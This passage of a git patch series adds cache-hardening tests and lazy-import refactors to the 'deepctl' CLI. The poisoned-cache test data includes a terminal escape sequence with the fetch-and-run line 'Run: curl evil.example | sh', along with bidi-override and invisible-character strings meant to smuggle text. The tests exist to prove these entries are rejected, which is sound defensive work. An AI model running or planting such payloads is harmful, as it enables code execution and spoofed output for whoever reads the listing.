+        _help(capsys)
+        after = {p.name: p.stat().st_mtime_ns for p in _entries(homes.real_cache)}
+        assert set(after) == set(before)
+        assert set(after.values()) == {1}
+
+    def test_run_that_wrote_to_stderr_writes_no_entry(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        def noisy(self: Any, group: click.Group) -> None:
+            sys.stderr.write("WARN: something about a plugin\n")
+
+        with (
+            patch("deepctl._cli._nothing_to_discover", return_value=False),
+            patch("deepctl_core.plugin_manager.PluginManager.discover_plugins", noisy),
+        ):
+            _, err = _help(capsys)
+        assert "WARN: something about a plugin" in err
+        assert _entries(homes.real_cache) == []
+        # Nor is the noisy discovery kept: the warning shows every time.
+        discovery = homes.xdg_cache / "discovery"
+        assert not discovery.exists() or not list(discovery.iterdir())
+
+    def test_other_versions_and_stale_temp_files_are_pruned(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        help_dir = homes.real_cache / "help"
+        help_dir.mkdir(parents=True, mode=0o700)
+        os.chmod(homes.real_cache, 0o700)
+        old = help_dir / "0.0.1-dg-80-pipe.txt"
+        old.write_text("old")
+        stale = help_dir / ".abc.tmp"
+        stale.write_text("x")
+        os.utime(stale, (1, 1))
+        fresh = help_dir / ".def.tmp"
+        fresh.write_text("x")
+        _help(capsys)
+        assert not old.exists()
+        assert not stale.exists()
+        assert fresh.exists()
+
+    def test_eager_load_writes_nothing(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        monkeypatch.setattr(fresh_cli, "eager", True)
+        _help(capsys)
+        assert _entries(homes.real_cache) == []
+
+    def test_gate_is_popped_from_the_environment(self, tmp_path: Path) -> None:
+        code = (
+            "import os, sys; sys.argv = ['dg', '--version']; import deepctl.main as m; "
+            "m.main(); print(m.HELP_CACHE, 'DEEPCTL_HELP_CACHE' in os.environ)"
+        )
+        env = {**os.environ, "DEEPCTL_HELP_CACHE": "1", "HOME": str(tmp_path)}
+        proc = subprocess.run(
+            [sys.executable, "-c", code],
+            capture_output=True,
+            text=True,
+            env=env,
+            timeout=60,
+        )
+        assert proc.stdout.splitlines()[-1] == "True False", proc.stderr
+
+    def test_key_size_in_a_bundle_configuration(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """-I, no user site, HOME is the real home: at most 32 files, 24 env vars."""
+        monkeypatch.setenv("HOME", str(homes.real))
+        prefix = "/opt/dg/python"
+        monkeypatch.setattr(
+            sys,
+            "path",
+            [
+                f"{prefix}/lib/python312.zip",
+                f"{prefix}/lib/python3.12",
+                f"{prefix}/lib/python3.12/lib-dynload",
+                f"{prefix}/lib/python3.12/site-packages",
+            ],
+        )
+        venv_lib = homes.real / ".deepctl" / "plugins" / "venv" / "lib"
+        (venv_lib / "python3.12" / "site-packages").mkdir(parents=True)
+        key = _cache.help_key("dg", 80, False, b"")
+        assert len(key["files"]) <= _cache.MAX_KEY_FILES == 32
+        assert _cache.MAX_KEY_ENV == 64
+        assert len(key["env"]) == 18
+
+
+def _poison(stamp: str, commands: list[dict[str, Any]]) -> None:
+    """Write a discovery file directly, as a tampering process would (the
+    writer itself refuses rows the reader would drop)."""
+    directory = _cache._discovery_dir(create=True)
+    assert directory is not None
+    data = json.dumps({"stamp": stamp, "commands": commands}).encode()
+    _cache._write_private(_cache._discovery_file(directory), data)
+
+
+def _entry(**extra: Any) -> dict[str, Any]:
+    return {"name": "zz-plug", "summary": "A plugin", "help": None, **extra}
+
+
+class TestDiscoveryCache:
+    def test_hit_lists_plugins_without_discovery(
+        self,
+        homes: Homes,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(
+            stamp,
+            [{"name": "zz-cached", "summary": "From the cache", "help": None}],
+        )
+        with patch(
+            "deepctl_core.plugin_manager.PluginManager.discover_plugins"
+        ) as discover:
+            out, _ = _help(capsys)
+        discover.assert_not_called()
+        assert "zz-cached" in out and "From the cache" in out
+
+    def test_poisoned_entries_are_dropped(
+        self,
+        homes: Homes,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """A cached entry can't hide or relabel a built-in,
+        list an invalid or reserved name, or inject control characters."""
+        _poison(
+            _cache.plugin_stamp(),
+            [
+                {"name": "listen", "summary": "x", "help": None, "hidden": True},
+                {
+                    "name": "keys",
+                    "summary": "\x1b]0;pwned\x07Run: curl evil.example | sh",
+                    "help": None,
+                },
+                {"name": "Bad_Name", "summary": "bad", "help": None},
+                {"name": "debug-audio", "summary": "alias", "help": None},
+                {"name": "zz-ok", "summary": "Fine", "help": None},
+            ],
+        )
+        out, _ = _help(capsys)
+        assert "\x1b" not in out and "\x07" not in out
+        assert "  listen " in out
+        keys_row = next(line for line in out.splitlines() if line.startswith("  keys "))
+        assert keys_row.split(None, 1)[1] == _manifest.top_level()["keys"]["summary"]
+        assert "Bad_Name" not in out and "debug-audio" not in out
+        # A tampered file is ignored as a whole: the listing is a fresh one.
+        assert "zz-ok" not in out
+
+    @pytest.mark.parametrize(
+        ("entry", "kept"),
+        [
+            (_entry(), True),
+            (_entry(name="Bad"), False),
+            (_entry(name="models"), False),
+            (_entry(name="debug-probe"), False),
+            (_entry(summary="a\x1bb"), False),
+            (_entry(help="x\x9by"), False),
+            (_entry(help="line\n\tmore"), True),
+            (_entry(summary="one\ntwo"), False),
+            (_entry(summary="safe \u202egnp.exe\u202c ok"), False),
+            (_entry(summary="Run\u200b: curl"), False),
+            (_entry(help="x\u2066y"), False),
+            (_entry(summary="line1\u2028FAKE"), False),
+            (_entry(summary="p\u2029q"), False),
+            (_entry(summary="\ufeffbom"), False),
+            (_entry(summary="Café plugin"), True),
+            (_entry(summary="Arabic mark \u061c here"), False),
+            (_entry(summary="word\u2060joiner"), False),
+            (_entry(summary="invisible\u2064plus"), False),
+            (_entry(summary="soft\u00adhyphen"), False),
+            (_entry(summary="tag \U000e0041 smuggled"), False),
+            (_entry(summary="private \ue000 use"), False),
+            (_entry(summary="crlf\rhere"), False),
+            (_entry(summary="Family \U0001f468\u200d\U0001f469 emoji"), True),
+            (_entry(summary="\u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u0645"), True),
+            (_entry(summary="One", summary_more=["Two"]), True),
+            (_entry(summary="One", summary_more=["a\nb"]), False),
+            (_entry(summary=None, summary_more=["Two"]), False),
+            ("not a dict", False),
+        ],
+    )
+    def test_clean_entry(self, entry: Any, kept: bool) -> None:
+        reserved = frozenset(_manifest.top_level()) | frozenset(_manifest.aliases())
+        assert (_cache._clean_entry(entry, reserved) is not None) is kept
+
+    def test_coercion(self) -> None:
+        cleaned = _cache._clean_entry(_entry(hidden="yes", deprecated=1), frozenset())
+        assert cleaned is not None
+        assert cleaned["hidden"] is False and cleaned["deprecated"] is False
+        cleaned = _cache._clean_entry(
+            _entry(hidden=True, deprecated="old"), frozenset()
+        )
+        assert cleaned is not None
+        assert cleaned["hidden"] is True and cleaned["deprecated"] == "old"
+
+    def test_name_rule_matches_plugin_manager(self) -> None:
+        from deepctl_core.plugin_manager import _VALID_PLUGIN_NAME
+
+        assert _cache.VALID_PLUGIN_NAME.pattern == _VALID_PLUGIN_NAME.pattern
+
+    def test_agent_uses_the_real_home_cache_only(
+        self,
+        homes: Homes,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """A poisoned file under the redirected HOME/XDG cache is never read
+        under an agent; the listing equals a fresh discovery."""
+        fresh, _ = _help(capsys)
+        monkeypatch.setenv("AI_AGENT", "1")
+        stamp = _cache.plugin_stamp()
+        monkeypatch.delenv("AI_AGENT")
+        _cache.write_discovery(
+            stamp, [{"name": "zz-poison", "summary": "p", "help": None}]
+        )
+        assert list((homes.xdg_cache / "discovery").iterdir())
+        monkeypatch.setenv("AI_AGENT", "1")
+        monkeypatch.setattr(fresh_cli, "_discovered", False)
+        monkeypatch.setattr(fresh_cli, "_cached_plugins", {})
+        monkeypatch.setattr(fresh_cli, "commands", {})
+        out, _ = _help(capsys)
+        assert "zz-poison" not in out
+        assert out == fresh
+        assert list((homes.real_cache / "discovery").iterdir())
+
+    def test_agent_without_a_real_home_skips_the_cache(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setenv("AI_AGENT", "1")
+        monkeypatch.setattr(_cache, "_real_home", lambda: None)
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(stamp, [])
+        assert _cache.read_discovery(stamp) is None
+        assert not homes.xdg_cache.exists()
+
+    def test_stamp_changes_when_a_package_is_installed(
+        self, homes: Homes, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        site = tmp_path / "site"
+        site.mkdir()
+        monkeypatch.syspath_prepend(str(site))
+        before = _cache.plugin_stamp()
+        key_before = _cache.help_key("dg", 80, False, b"")
+        (site / "deepctl_plugin_new-1.0.dist-info").mkdir()
+        os.utime(site, ns=(1, 1))  # a different mtime, whatever the clock
+        assert _cache.plugin_stamp() != before
+        assert _cache.help_key("dg", 80, False, b"") != key_before
+
+    def test_stamp_changes_with_the_plugin_venv(self, homes: Homes) -> None:
+        before = _cache.plugin_stamp()
+        plugins = homes.home / ".deepctl" / "plugins"
+        plugins.mkdir(parents=True)
+        (plugins / "plugins.json").write_text('{"plugins": {"x": {}}}')
+        assert _cache.plugin_stamp() != before
+
+    def test_stamp_changes_when_a_plugin_dir_turns_writable(
+        self, homes: Homes
+    ) -> None:
+        venv = homes.home / ".deepctl" / "plugins" / "venv"
+        venv.mkdir(parents=True, mode=0o700)
+        os.chmod(venv.parent, 0o700)
+        before = _cache.plugin_stamp()
+        mtime = venv.stat().st_mtime_ns
+        os.chmod(venv, 0o770)
+        assert venv.stat().st_mtime_ns == mtime
+        assert _cache.plugin_stamp() != before
+
+    def test_stamp_changes_in_agent_mode(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        before = _cache.plugin_stamp()
+        monkeypatch.setenv("CLAUDECODE", "1")
+        assert _cache.plugin_stamp() != before
+
+    def test_unsafe_dir_is_not_used(self, homes: Homes) -> None:
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(stamp, [])
+        assert _cache.read_discovery(stamp) == []
+        os.chmod(homes.xdg_cache / "discovery", 0o777)
+        assert _cache.read_discovery(stamp) is None
+        os.chmod(homes.xdg_cache / "discovery", 0o700)
+        os.chmod(homes.xdg_cache, 0o775)
+        assert _cache.read_discovery(stamp) is None
+
+    def test_unsafe_file_is_not_read(self, homes: Homes) -> None:
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(stamp, [])
+        (entry,) = (homes.xdg_cache / "discovery").iterdir()
+        os.chmod(entry, 0o666)
+        assert _cache.read_discovery(stamp) is None
+
+    def test_symlinked_dir_is_not_used(self, homes: Homes, tmp_path: Path) -> None:
+        elsewhere = tmp_path / "elsewhere"
+        elsewhere.mkdir(mode=0o700)
+        homes.xdg_cache.mkdir(parents=True, mode=0o700)
+        (homes.xdg_cache / "discovery").symlink_to(elsewhere)
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(stamp, [])
+        assert list(elsewhere.iterdir()) == []
+        assert _cache.read_discovery(stamp) is None
+
+    def test_unwritable_cache_skips_the_cache(
+        self, homes: Homes, gate: None, fresh_cli: _cli.LazyGroup, capsys: Any
+    ) -> None:
+        if os.geteuid() == 0:
+            pytest.skip("root ignores directory permissions")
+        for parent in (homes.xdg, homes.real / ".cache"):
+            parent.mkdir(parents=True)
+            os.chmod(parent, 0o500)
+        try:
+            out, err = _help(capsys)
+        finally:
+            for parent in (homes.xdg, homes.real / ".cache"):
+                os.chmod(parent, 0o700)
+        assert "Commands:" in out
+        assert err == ""
+
+
+class TestRoundThree:
+    def test_unsafe_live_rows_are_never_cached(
+        self,
+        homes: Homes,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """A plugin whose help holds an ESC lists the same way on
+        every run; that discovery is never cached."""
+
+        def register(self: Any, group: click.Group) -> None:
+            group.add_command(
+                click.Command(
+                    "escy", help="Colourful \x1b[1mbold\x1b[0m plugin", short_help=None
+                )
+            )
+
+        outs = []
+        with (
+            patch("deepctl._cli._nothing_to_discover", return_value=False),
+            patch(
+                "deepctl_core.plugin_manager.PluginManager.discover_plugins", register
+            ),
+        ):
+            for _ in range(3):
+                for attr, value in (
+                    ("commands", {}),
+                    ("_discovered", False),
+                    ("_cached_plugins", {}),
+                ):
+                    monkeypatch.setattr(fresh_cli, attr, value)
+                out, _ = _help(capsys)
+                outs.append(out)
+        assert outs[0] == outs[1] == outs[2]
+        assert "escy" in outs[0]
+        discovery = homes.xdg_cache / "discovery"
+        assert not discovery.exists() or not list(discovery.iterdir())
+
+    def test_write_skips_a_result_the_reader_would_trim(self, homes: Homes) -> None:
+        stamp = _cache.plugin_stamp()
+        _cache.write_discovery(stamp, [_entry(summary="a\x1bb")])
+        assert _cache.read_discovery(stamp) is None
+        _cache.write_discovery(stamp, [_entry(name="models")], frozenset({"models"}))
+        assert _cache.read_discovery(stamp) is None
+        _poison(stamp, [_entry(), _entry(name="Bad")])
+        assert _cache.read_discovery(stamp) is None
+        _cache.write_discovery(stamp, [_entry()])
+        assert _cache.read_discovery(stamp) == [
+            _cache._clean_entry(_entry(), frozenset())
+        ]
+
+    def test_text_is_bound_to_its_key(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """Writer B finishing between writer A's
+        two renames leaves B's text under A's key; it is never served."""
+        real = _cache._write_private
+        state = {"n": 0}
+
+        def hooked(path: str, data: bytes) -> None:
+            real(path, data)
+            state["n"] += 1
+            if state["n"] == 1 and not path.endswith(".key.json"):
+                monkeypatch.setenv("NO_COLOR", "1")
+                monkeypatch.setattr(_cache, "_write_private", real)
+                _cache.write_help("TEXT-B (NO_COLOR=1 run)\n", "dg", 80, False)
+                monkeypatch.setattr(_cache, "_write_private", hooked)
+                monkeypatch.delenv("NO_COLOR")
+
+        monkeypatch.delenv("NO_COLOR", raising=False)
+        monkeypatch.setattr(_cache, "MAX_KEY_FILES", 10_000)  # test sys.path
+        monkeypatch.setattr(_cache, "_write_private", hooked)
+        _cache.write_help("TEXT-A (NO_COLOR unset run)\n", "dg", 80, False)
+        directory = Path(str(_cache.help_dir(create=False)))
+        (entry,) = directory.glob("*.txt")
+        key = json.loads((directory / f"{entry.name}.key.json").read_text())
+        assert entry.read_text() == "TEXT-B (NO_COLOR=1 run)\n"
+        assert key["env"]["NO_COLOR"] is None  # A's key over B's text...
+        assert _cache.served_text(str(entry)) is None  # ...is a miss
+        monkeypatch.setattr(_cache, "_write_private", real)
+        _cache.write_help("TEXT-A (NO_COLOR unset run)\n", "dg", 80, False)
+        assert _cache.served_text(str(entry)) == b"TEXT-A (NO_COLOR unset run)\n"
+
+    def test_entry_names_are_ascii(self) -> None:
+        assert _cache.help_entry_name("0.5.0", "dgé٣ x", 80, True) == (
+            "0.5.0-dg___x-80-tty.txt"
+        )
+
+
+class TestRoundFour:
+    def test_prog_name_is_not_in_the_key_env(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """The launcher sets DEEPCTL_PROG_NAME; ``prog`` holds it."""
+        monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+        _help(capsys)
+        (key,) = (homes.real_cache / "help").glob("*.key.json")
+        recorded = json.loads(key.read_text())
+        assert recorded["prog"] == "dg"
+        assert "DEEPCTL_PROG_NAME" not in recorded["env"]
+        for name in ("LC_ALL", "LC_CTYPE", "LANG", "PYTHONIOENCODING", "PYTHONUTF8"):
+            assert name not in recorded["env"]
+
+    def test_inputs_changed_while_rendering_writes_nothing(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """The key is taken before rendering and checked again."""
+        real = _cache.key_inputs
+        calls = {"n": 0}
+
+        def drifting() -> dict[str, Any]:
+            calls["n"] += 1
+            inputs = real()
+            if calls["n"] > 1:
+                inputs["env"] = {**inputs["env"], "NO_COLOR": "changed"}
+            return inputs
+
+        monkeypatch.setattr(_cache, "key_inputs", drifting)
+        _help(capsys)
+        assert calls["n"] >= 2
+        assert _entries(homes.real_cache) == []
+
+    def test_undecodable_key_writes_nothing(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """A path or variable with undecodable bytes (a surrogate escape)
+        would make an invalid key: no entry."""
+        monkeypatch.setenv("TERM", "xterm\udcff")
+        _help(capsys)
+        assert _entries(homes.real_cache) == []
+
+    @pytest.mark.parametrize(
+        "help_text",
+        [
+            "Do the thing.\n\nLonger description here.",
+            "First line.\r\nSecond line.",
+            "Shown part.\fHidden part after form feed.",
+            "Family \U0001f468‍\U0001f469‍\U0001f467 emoji",
+            "می‌خواهم plugin",
+            "Three\n\nshort\n\nparagraphs with  two  spaces",
+            "A very long single line help text that goes on and on well past the "
+            "column limit of the help formatter to see wrapping",
+        ],
+    )
+    def test_cached_row_renders_like_the_live_one(self, help_text: str) -> None:
+        """A BaseCommand-style plugin (short_help = help) caches, and
+        its cached row renders exactly as Click renders the live command."""
+        live = click.Command("plug", short_help=help_text, help=help_text)
+        row = _cache.listing_row("plug", live)
+        assert row is not None
+        assert "\n" not in row["summary"]
+        cleaned = _cache._clean_entry(row, frozenset())
+        assert cleaned is not None
+        cached = _cli._Listed("plug", cleaned)
+        for width in (40, 60, 80, 120):
+            formatter_live = click.HelpFormatter(width=width)
+            formatter_live.write_dl([("plug", live.get_short_help_str())])
+            formatter_cached = click.HelpFormatter(width=width)
+            formatter_cached.write_dl([("plug", cached.get_short_help_str())])
+            assert formatter_cached.getvalue() == formatter_live.getvalue()
+
+    def test_unreproducible_rows_are_not_cached(self) -> None:
+        raw_block = "Intro.\n\n\b\nkeep\n  this layout"
+        assert _cache.listing_row("x", click.Command("x", short_help=raw_block)) is None
+
+
+class TestRoundFive:
+    @pytest.mark.parametrize("lang", [None, "C.UTF-8"])
+    def test_locale_is_not_keyed(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+        lang: str | None,
+    ) -> None:
+        """Python's PEP 538 coercion sets LC_CTYPE in its own
+        environment, so keying the locale would never match the launcher.
+        The launcher applies the locale rule itself (help-cache.md)."""
+        for name in ("LANG", "LC_ALL", "LC_CTYPE"):
+            monkeypatch.delenv(name, raising=False)
+        if lang:
+            monkeypatch.setenv("LANG", lang)
+        else:
+            # What the interpreter does under a C locale (PEP 538).
+            monkeypatch.setenv("LC_CTYPE", "C.UTF-8")
+        _help(capsys)
+        (key,) = (homes.real_cache / "help").glob("*.key.json")
+        env = json.loads(key.read_text())["env"]
+        assert not [n for n in env if n.startswith(("LC_", "LANG", "PYTHON"))]
+
+    def test_over_limit_keys_are_not_written(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """A key a launcher would refuse is never written."""
+        monkeypatch.setattr(_cache, "MAX_KEY_FILES", 2)
+        _cache.write_help("T\n", "dg", 80, False)
+        assert _cache.help_dir(create=False) is None or not list(
+            Path(str(_cache.help_dir(create=False))).iterdir()
+        )
+        monkeypatch.setattr(_cache, "MAX_KEY_FILES", 10_000)
+        monkeypatch.setattr(_cache, "MAX_KEY_ENV", 3)
+        _cache.write_help("T\n", "dg", 80, False)
+        assert not list(Path(str(_cache.help_dir(create=False))).iterdir())
+        monkeypatch.setattr(_cache, "MAX_KEY_ENV", 64)
+        _cache.write_help("x" * (_cache.MAX_ENTRY_BYTES + 1), "dg", 80, False)
+        assert not list(Path(str(_cache.help_dir(create=False))).iterdir())
+        _cache.write_help("T\n", "dg", 80, False)
+        assert len(list(Path(str(_cache.help_dir(create=False))).iterdir())) == 2
+
+    def test_list_widths_cover_every_width_click_uses(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """The widths checked are exactly the ones root --help wraps a
+        command summary to, from Click itself, over terminal widths and name
+        lengths."""
+        import click.formatting
+
+        seen: set[int] = set()
+        real = click.formatting.wrap_text
+
+        def record(text: str, width: int = 78, *args: Any, **kwargs: Any) -> str:
+            if text.startswith("ZZSUMMARY"):
+                seen.add(width)
+            return real(text, width, *args, **kwargs)
+
+        monkeypatch.setattr(click.formatting, "wrap_text", record)
+        for length in (1, 5, 10, 20, 31, 64):
+            name = ("z" * length)[:64]
+            fresh_cli.commands.clear()
+            fresh_cli._cached_plugins = {
+                name: {"name": name, "summary": "ZZSUMMARY text", "help": None}
+            }
+            monkeypatch.setattr(fresh_cli, "_discovered", True)
+            for columns in (1, 20, 52, 60, 70, 79, 80, 81, 120, 400):
+                monkeypatch.setenv("COLUMNS", str(columns))
+                fresh_cli.get_help(click.Context(fresh_cli, info_name="dg"))
+        widths = _cache.list_widths()
+        assert seen <= set(widths)
+        assert min(seen) == widths.start and max(seen) == widths.stop - 1
+
+    def test_single_paragraph_skips_the_width_check(
+        self, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        import click.formatting
+
+        calls = []
+        monkeypatch.setattr(
+            click.formatting, "wrap_text", lambda *a, **k: calls.append(a) or ""
+        )
+        row = _cache.listing_row("p", click.Command("p", short_help="One line."))
+        assert row is not None and calls == []
diff --git a/tests/unit/test_import_budget.py b/tests/unit/test_import_budget.py
index 9f356277..1a19a49d 100644
--- a/tests/unit/test_import_budget.py
+++ b/tests/unit/test_import_budget.py
@@ -206,3 +206,22 @@ def test_full_path_still_loads_click(tmp_path: Path) -> None:
     assert proc.returncode == 0, proc.stderr[-2000:]
     assert "click" in modules
     assert proc.stdout.decode().startswith("deepctl, version ")
+
+
+def test_root_help_imports(tmp_path: Path) -> None:
+    """Root --help with the plugin discovery cache warm (the first run fills
+    it): no pydantic, no Config, no command module."""
+    first, _ = _imports(["--help"], tmp_path)
+    assert first.returncode == 0, first.stderr[-2000:]
+    proc, modules = _imports(["--help"], tmp_path)
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    assert proc.stdout == first.stdout
+    assert _forbidden_hits(modules, GATES_IMPORTS["forbidden"]["help"]) == []
+    assert "deepctl_core.config" not in modules
+    assert "deepctl_core.plugin_manager" not in modules
+    assert not [m for m in modules if m.startswith("deepctl_cmd_")]
+
+
+def test_version_imports_no_command_module(tmp_path: Path) -> None:
+    _, modules = _imports(["--version"], tmp_path)
+    assert not [m for m in modules if m.startswith(("deepctl_cmd_", "deepctl_plugin"))]
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 0cc608d1..5a480781 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -72,8 +72,16 @@ def _imported(args: list[str], tmp_path: Path) -> list[str]:
 
 
 @pytest.fixture
-def fresh_cli(monkeypatch: pytest.MonkeyPatch) -> _cli.LazyGroup:
-    """``cli`` as a new process sees it: nothing resolved or discovered."""
+def fresh_cli(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> _cli.LazyGroup:
+    """``cli`` as a new process sees it: nothing resolved or discovered, and
+    an empty cache (never the user's own) for the discovery and help caches."""
+    from deepctl import _cache
+
+    home = tmp_path / "home"
+    home.mkdir(mode=0o700)
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.setenv("XDG_CACHE_HOME", str(home / ".cache"))
+    monkeypatch.setattr(_cache, "_real_home", lambda: str(home))
     group = _cli.cli
     monkeypatch.setattr(group, "commands", {})
     monkeypatch.setattr(group, "eager", False)

From edab526a636fbfbca56567f5ded74cef236c9f40 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 14:28:48 -0400
Subject: [PATCH 08/88] refactor(commands): keep network modules out of command
 import time

dg <cmd> --help imports the command's module, so a module-level import
of asyncio, ssl, httpx, websockets or the SDK was paid by every help and
every run of that command. Those imports move into the functions that
use them: asyncio in listen, mcp, update and debug browser/probe; httpx
in api, debug audio, debug toolkit, init, the update version check and
shared input validation; aiohttp in debug browser/probe; requests and
urllib3 in debug network. Modules whose tests patch asyncio or httpx
through the command module resolve the name lazily. deepctl_cmd_update
exports its names lazily, so the per-run startup check no longer
imports the update command.

A test imports every built-in command module from the manifest in a
fresh interpreter and fails if any of these modules loads, and another
runs dg <cmd> --help for every built-in against the subcommand-help
forbidden list. dg debug <sub> --help still imports httpx, ssl and
keyring through the debug group callback; that check is a strict xfail.
---
 .../src/deepctl_cmd_api/command.py            |  21 +++-
 .../src/deepctl_cmd_debug_audio/command.py    |   3 +-
 .../src/deepctl_cmd_debug_browser/command.py  |  30 ++++-
 .../src/deepctl_cmd_debug_network/command.py  |  14 ++-
 .../src/deepctl_cmd_debug_probe/command.py    |   9 +-
 .../src/deepctl_cmd_debug_toolkit/fetcher.py  |   3 +-
 .../src/deepctl_cmd_init/templates_api.py     |   6 +-
 .../src/deepctl_cmd_listen/command.py         |  24 +++-
 .../src/deepctl_cmd_mcp/command.py            |  14 ++-
 .../src/deepctl_cmd_update/__init__.py        |  63 +++++++++--
 .../src/deepctl_cmd_update/command.py         |  13 ++-
 .../src/deepctl_cmd_update/version_check.py   |   5 +-
 .../src/deepctl_shared_utils/validation.py    |   4 +-
 tests/unit/test_command_imports.py            | 105 ++++++++++++++++++
 tests/unit/test_import_budget.py              |   9 ++
 15 files changed, 291 insertions(+), 32 deletions(-)
 create mode 100644 tests/unit/test_command_imports.py

diff --git a/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py b/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
index 32fc7b44..4792f874 100644
--- a/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
+++ b/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
@@ -4,10 +4,9 @@
 import shutil
 import subprocess
 import sys
-from typing import Any
+from typing import TYPE_CHECKING, Any
 from urllib.parse import urlsplit, urlunsplit
 
-import httpx
 from deepctl_core import (
     AuthManager,
     BaseCommand,
@@ -38,6 +37,20 @@
 from . import messages as msg
 from .models import ApiErrorResult, ApiResult
 
+if TYPE_CHECKING:
+    import httpx
+
+
+# httpx (and with it ssl) loads only when a request is sent, so `dg api
+# --help` doesn't import it.
+def __getattr__(name: str) -> Any:
+    if name == "httpx":
+        import httpx
+
+        return httpx
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
 console = Console()
 
 
@@ -253,7 +266,7 @@ def _refuse(
         )
 
     def _warn_redirect(
-        self, response: httpx.Response, target: UrlOrigin | None
+        self, response: "httpx.Response", target: UrlOrigin | None
     ) -> None:
         """Note a redirect that wasn't followed."""
         location = response.headers.get("location")
@@ -358,6 +371,8 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle API command execution."""
+        import httpx
+
         endpoint = kwargs.get("endpoint", "")
         method = (kwargs.get("method") or "GET").upper()
         fields = kwargs.get("field") or ()
diff --git a/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py b/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
index 305ba3e4..aec07b51 100644
--- a/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
+++ b/packages/deepctl-cmd-debug-audio/src/deepctl_cmd_debug_audio/command.py
@@ -9,7 +9,6 @@
 from urllib.parse import urlparse
 
 import ffmpeg  # type: ignore[import-untyped]
-import httpx
 from deepctl_core import (
     AuthManager,
     BaseCommand,
@@ -125,6 +124,8 @@ def _is_url(self, path: str) -> bool:
 
     def _download_url(self, url: str) -> str:
         """Download a URL to a temporary file and return the path."""
+        import httpx
+
         status_console.print(f"[blue]Downloading:[/blue] {url}")
 
         parsed = urlparse(url)
diff --git a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
index 389a7851..f765fa43 100644
--- a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
+++ b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
@@ -1,6 +1,5 @@
 """Browser debug command for deepctl."""
 
-import asyncio
 import importlib.resources
 import json
 import socket
@@ -9,7 +8,6 @@
 from pathlib import Path
 from typing import Any
 
-from aiohttp import WSMsgType, web
 from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
 from rich.console import Console
 from rich.panel import Panel
@@ -27,6 +25,24 @@
 console = Console()
 
 
+# aiohttp and asyncio (with ssl) load only when the servers start, so
+# `dg debug browser --help` doesn't import them (W3.2).
+def __getattr__(name: str) -> Any:
+    if name == "asyncio":
+        import asyncio
+
+        return asyncio
+    if name == "web":
+        from aiohttp import web
+
+        return web
+    if name == "WSMsgType":
+        from aiohttp import WSMsgType
+
+        return WSMsgType
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
